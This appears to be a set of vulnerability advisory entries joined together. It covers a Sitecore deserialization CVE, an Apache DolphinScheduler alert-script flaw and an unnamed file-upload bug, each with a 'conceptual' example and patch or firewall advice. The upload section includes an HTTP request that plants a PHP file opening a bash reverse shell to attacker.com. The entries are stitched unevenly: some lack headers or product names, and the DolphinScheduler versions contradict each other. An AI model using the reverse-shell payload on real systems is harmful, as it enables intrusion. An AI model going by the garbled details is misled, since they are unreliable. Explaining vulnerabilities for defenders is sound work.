CVE ID: CVE-2025-53691
Severity: High (8.8 CVSS v3.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Sitecore Experience Manager (XM) | 9.0 to 9.3, 10.0 to 10.4
Sitecore Experience Platform (XP) | 9.0 to 9.3, 10.0 to 10.4

How the Exploit Works

The vulnerability arises from the deserialization of untrusted data. Deserialization is the process of converting a stream of bytes back into a copy of the original object. In this case, an attacker can exploit the vulnerability by sending maliciously crafted data to the server, which is then deserialized and executed. This allows the attacker to execute arbitrary code on the server and potentially gain control over the system or leak data.

Conceptual Example Code

Below is a simplified and hypothetical example of how the vulnerability might be exploited. The attacker sends a POST request with a malicious payload to a vulnerable endpoint.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "Serialized_Object_That_Executes_Malicious_Code_When_Deserialized" }

In this conceptual example, the “malicious_payload” is a serialized object that, when deserialized by the server, executes malicious code. This code could do anything that the server has permission to do, which might include accessing, modifying, or deleting data, or even taking control of the server.

How to Mitigate the Vulnerability

The recommended way to mitigate this vulnerability is to apply the patch provided by the vendor, Sitecore. This patch fixes the vulnerability at the source and prevents it from being exploited. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to detect and block attempts to exploit this vulnerability. However, these are only stopgap measures and the patch should be applied as soon as possible to fully secure your systems.

Affected Products

Product | Affected Versions

Apache DolphinScheduler | Before 3.2.2

How the Exploit Works

The vulnerability occurs due to inadequate input validation by the Apache DolphinScheduler. This weakness allows an authenticated user to send a specially crafted shell script via an alert script, which the server then executes. The executed shell script can be of any nature, which means it can potentially compromise the system or lead to data leakage.

Conceptual Example Code

Here’s a conceptual representation of how the vulnerability might be exploited. Note that this is a simplification and not an actual exploit code:

#!/bin/bash
# This is the malicious script that an attacker could use
echo "Executing malicious operations..."
# Here, the attacker could perform various malicious operations

After crafting this malicious script, the attacker would use the alert script functionality in Apache DolphinScheduler to execute it remotely.

Recommendations to Mitigate the Vulnerability

The primary mitigation for this vulnerability is to upgrade the Apache DolphinScheduler to version 3.3.1 or later, which contains a patch for the issue. If immediate upgrade is not possible, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block any suspicious activities. However, these are temporary solutions and do not remove the vulnerability. Therefore, upgrading to a patched version is strongly recommended.

How the Exploit Works

An attacker can exploit this vulnerability by uploading an arbitrary file with a malicious payload onto the server using the vulnerable endpoint (/admin/insert-product.php). Due to the lack of extension validation in the upload functionality, the server accepts the malicious file, which can then be executed on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a malicious HTTP POST request:

POST /admin/insert-product.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this conceptual example, the attacker uploads a malicious PHP file that, when executed, opens a reverse shell to the attacker’s server, providing them with unauthorized access to the system.

Mitigation Guidance

To mitigate this vulnerability, apply the vendor-provided patch as soon as possible. If a patch is not immediately available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.
